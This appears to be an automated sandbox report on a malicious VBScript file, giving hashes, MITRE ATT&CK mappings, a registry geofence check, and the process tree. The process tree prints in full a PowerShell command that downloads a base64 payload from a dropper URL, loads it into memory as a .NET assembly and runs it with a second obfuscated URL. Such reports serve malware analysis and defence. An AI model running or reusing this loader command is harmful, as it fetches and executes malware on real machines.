d12d87e04dc64cbc675d39046f6cd496f84da00d880a721979a11811c8728716

Analysis

max time kernel
93s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-12-2024 04:31

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General

Target

RVF002.vbs
Size

236KB
MD5

7b474b087d336f766ba4cd74067e2786
SHA1

aac3de5ebd60465dabdd78033637819b68d1e91b
SHA256

92d4a215bc6adc95dec27c087a23e307dcebd79b2abcbb76f9f9dc08a70b3e5a
SHA512

e431562d6a08d91075c8498dd88de3c83a7e21bf627263254f3b62e9f9b5493a34f1f942412865e3bd4bc3bcfc4ff2c8f5223aa0fa58601803d1f43451f50dfe
SSDEEP

24:QnODOUWlHllyjOMyE2aL8gVEuMvywFfV7N9Riwnwm43YQ7FYiVLneMDTFv9vPvWE:yKVWtl6OeqyYLQeMHNOSAgHyLKhB

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://schoolcrypter.com/dll_startup

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4232	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4232	powershell.exe
4232	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4232	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 4232	3136	WScript.exe	81
PID 3136 wrote to memory of 4232	3136	WScript.exe	81

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RVF002.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://schoolcrypter.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('ad6c8d496523-a4ab-b6a4-dbc7-750db9b1=nekot&aidem=tla?txt.qT/o/moc.topsppa.0a726-dspok/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iissd22k.urx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4232-0-0x00007FFBFD203000-0x00007FFBFD205000-memory.dmp

Filesize
8KB

Download
memory/4232-1-0x0000024A5C6C0000-0x0000024A5C6E2000-memory.dmp

Filesize
136KB

Download
memory/4232-11-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-12-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-13-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-14-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-17-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download